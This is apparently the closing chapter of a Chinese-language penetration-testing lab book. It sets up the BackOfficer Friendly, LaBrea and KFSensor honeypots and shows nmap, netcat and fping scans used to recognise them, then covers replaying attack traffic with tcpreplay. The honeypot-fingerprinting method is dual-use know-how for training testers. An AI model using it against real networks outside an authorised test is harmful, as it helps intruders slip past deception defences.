我们将要看的第一个蜜罐是由Marcus Ranum多年前创建的,当时 Back Orifice 工具正在感染互联网上的机器。该工具现在已不再可用,但您可以在互联网上搜索,应该能够找到它。该工具称为BackOfficer Friendly,它的占用空间很小,但在蜜罐的角色中非常有效。该工具允许您选择一些端口,它将监听连接。这些选项的示例如下截图所示:

集成诱饵和蜜罐

正如前面的截图所示,我们已经将所有端口设置为蜜罐监听。我们没有选择Fake Replies选项;这是因为如果设置了此选项,横幅将暴露蜜罐。现在我们已经让蜜罐监听这一系列端口,我们将扫描它并看看在扫描时它是什么样子。

使用 Nmap 扫描机器后的结果示例如下截图所示:

集成诱饵和蜜罐

正如前面的截图所示,我们在机器上打开了这些端口,因此我们希望进一步探索。首选的方法是手动连接到端口并获取这些端口的横幅,因为如果我们扫描这些端口,它们将报告为tcpwrapped;因此,我们将手动查看这些端口。我们有许多方法可以用来连接到这个端口,在本书的示例中,我们将使用netcat。在终端窗口中,输入nc <target> 21以连接到 FTP 服务器;这个结果的示例如下截图所示:

集成诱饵和蜜罐

如前面的屏幕截图所示,netcat命令什么也没做,只是返回一个命令提示符,这意味着连接不成功;然而,当我们使用 telnet 时,连接建立然后立即关闭。这些都是您在测试中要寻找的类型,也就是说,寻找那些表现不正常的事物。当我们扫描机器时,我们看到有开放的端口;然而,当我们尝试连接到这些已识别的开放端口时,我们并不成功。这不应该发生,因此是可疑的。重要的是要记住,如果它即使有开放的端口也不表现正常,那么您很有可能遇到了一个蜜罐。那蜜罐本身呢?以下屏幕截图显示了一个示例:

集成诱饵和蜜罐

如前面的屏幕截图所示,该工具显示了连接尝试;即使用户没有获得连接,蜜罐仍然记录了它。

我们将看一下的下一个蜜罐是Labrea蜜罐。Labrea 提供了许多机制,可用于恶意软件与机器通信。Labrea 工具作为 Debian 软件包提供。由于我们在本书中多次使用了 Debian,因此我们现在将使用它来配置和设置 Labrea 蜜罐,以便在测试时识别它的外观。

在 Debian 机器的终端窗口中,输入apt-get install labrea来安装软件包。软件安装完成后,您可以查看配置文件。由于安装软件包后可能不在同一位置,您可以输入find / -name labrea.conf来定位文件,然后在您选择的编辑器中打开它。无需更改任何配置,因为一旦安装软件包,它就已经设置好并准备运行了。

注意

需要注意的是,Labrea 工具将占用网络上未使用的任何 IP 地址。因此,您可能希望将一系列 IP 地址配置为在配置文件中排除的 IP 地址。

当您准备在终端窗口中运行该工具时,输入labrea –v –i eth0 -sz -d -n <target> -o。我们不会复习这些选项,但鼓励您自行复习。我们已将输出设置为写入屏幕,因此我们将看到 Labrea 工具拦截的任何输出。以下屏幕截图显示了该命令的输出的一个示例:

集成诱饵和蜜罐

在前面的屏幕截图中需要注意的一点是,配置文件已设置为只响应1-3000端口。接下来,我们需要看一下蜜罐在网络上的响应。我们将使用 Kali Linux 机器;在 Kali 的终端窗口中,输入ping –c 7 <target>,其中目标是您的目标网络的任何 IP 地址。

例如,对于192.168.177网络的示例如下屏幕截图所示:

集成诱饵和蜜罐

如前面的屏幕截图所示,第一个 ping 请求返回为不可达。因此,那里没有主机。机器在第四个 ping 时做出响应;这是来自 Labrea 蜜罐的响应。我们可以通过查看我们启动程序的终端窗口来验证这一点。以下屏幕截图显示了一个示例:

集成诱饵和蜜罐

为了看到 Labrea 蜜罐的真正威力,我们将使用 Kali Linux 发行版中的一个工具来 ping 一系列 IP 地址。在 Kali Linux 终端中,输入fping –g <target IP block>。以下屏幕截图显示了该命令部分结果的一个示例:

集成诱饵和蜜罐

这表明 Labrea 蜜罐已经在192.168.177子网上创建了所有可能机器的诱饵存在;这些机器将看起来是活动的机器。这是为了引诱对这些 IP 地址的连接,因为它们可能是恶意的。

Labrea 蜜罐使用一种称为tarpitting的技术,这会导致连接花费很长时间。正如我们已经展示的,有许多诱饵机器,我们现在将扫描其中一个。在 Kali 机器上,输入nmap –sS <目标 IP 地址> -Pn

扫描其中一个诱饵机器的结果示例如下截图所示:

集成诱饵和蜜罐

我们想要注意的另一个反应是使用netcat连接到机器;我们现在将尝试这样做。在 Kali 机器上,输入nc <目标 IP 地址> 445。当我们手动连接时的结果示例如下截图所示:

集成诱饵和蜜罐

正如前面的截图所示,每个连接都被蜜罐检测到并放入了 tarpit,使其花费更多时间并将通信困住。要了解更多关于 Labrea 的信息,请参考sourceforge.net/projects/labrea/

我们将要查看的下一个蜜罐是商业产品KFSensor。您可以在www.keyfocus.net/kfsensor/了解更多信息。该网站将要求您在上面注册以下载该工具。下载后,您需要将其安装在 Windows 系统上。该工具的界面示例如下截图所示:

集成诱饵和蜜罐

正如前面的截图所示,我们有许多端口通过蜜罐是开放的,所以下一步是检查并查看一旦被扫描会返回什么。记住,我们希望进行测试,以便在遇到这个蜜罐的网络时知道可以期待什么。此外,我们希望确保记录可以帮助我们确定网络上是否部署了 KFSensor 的工件。

针对蜜罐的Nmap扫描的示例如下截图所示:

集成诱饵和蜜罐

正如前面的截图所示,我们有端口开放,但Nmap报告它们为tcpwrapped。这是我们进行Nmap扫描时的情况,那么在目标上是什么样子呢?此外,蜜罐显示的又是什么样子呢?这方面的示例如下截图所示:

集成诱饵和蜜罐

该工具的另一个好处是它还有许多 UDP 端口开放,因此提供了一个非常有效的蜜罐。UDP 端口的示例如下截图所示:

集成诱饵和蜜罐

这只是一些可用的许多不同蜜罐的样子,因此,您应该在测试范围内练习不同的蜜罐,并记录它们部署后的行为。

攻击网络范围

正如我们之前提到的,建立我们的渗透测试范围的目标是练习我们的技能。因此,我们需要以攻击我们创建的架构的每个位置和入口为目标。此外,非常重要的是我们练习直接攻击目标,也就是说,在一个扁平的网络上。一旦我们攻击并确定了来自不同类型攻击的目标的反应,我们改变方法,通过分层架构进行攻击,看看反应是什么,并比较不同位置的结果。

记录攻击数据以进行进一步的培训和分析

一旦您建立并攻击了范围,强烈建议您记录攻击,以便您可以用它们来练习,更重要的是用于培训目的。每次进行攻击时,您都在创建非常有价值的数据,应该捕获并再次使用。捕获数据的最简单方法之一是使用 Wireshark。一旦捕获了数据,请保存它,然后您可以使用工具重放捕获的流量。有多种方法可以实现这一点。其中最简单的方法之一是使用tcpreplay工具;它是 Kali Linux 发行版的一部分。此外,如果您不想创建自己的数据,还可以下载许多不同攻击的数据包跟踪。以下是用于重放来自早期 DEFCON 会议之一的文件的命令的示例截图:

记录攻击数据以供进一步训练和分析

对于那些想要使用 GUI 工具的人,有许多选择。一个非常好用的免费工具是 Colasoft 的 Colasoft Packet Player;您可以从www.colasoft.com下载。以下是使用该工具重放 DEFCON 数据包捕获的示例截图:

记录攻击数据以供进一步训练和分析

如前面的截图所示,您可以设置多种不同的播放速度,在Burst模式下,播放速度将尽可能快地处理网络卡的速度。

总结

在本章中,我们讨论了分层架构的创建以及在我们的测试中构建分段网络的必要性。在讨论创建分层架构之后,我们看了一下如何集成诱饵和蜜罐,包括 BackOfficer Friendly 工具,Labrea tarpit 和 KFSensor。

接下来,我们看了一下攻击我们架构的过程,并表达了在添加保护和层之前直接攻击目标的技术,以及在扁平网络上渗透它们的技术。

最后,我们结束了本章,并讨论了记录攻击数据以及使用 tcpreplay 命令行工具和 Colasoft Packet Player GUI 工具在我们的网络上重放我们创建或从互联网上下载的文件。

这结束了本章和本书。请记住,您所做的测试都是为了做好准备。当您建立您的渗透测试实验室时,您正在创建一个可以多年使用来练习技能的环境。一旦架构建立,只需向架构添加不同的设备,作为您练习的目标。祝您在攻陷网络和系统方面好运!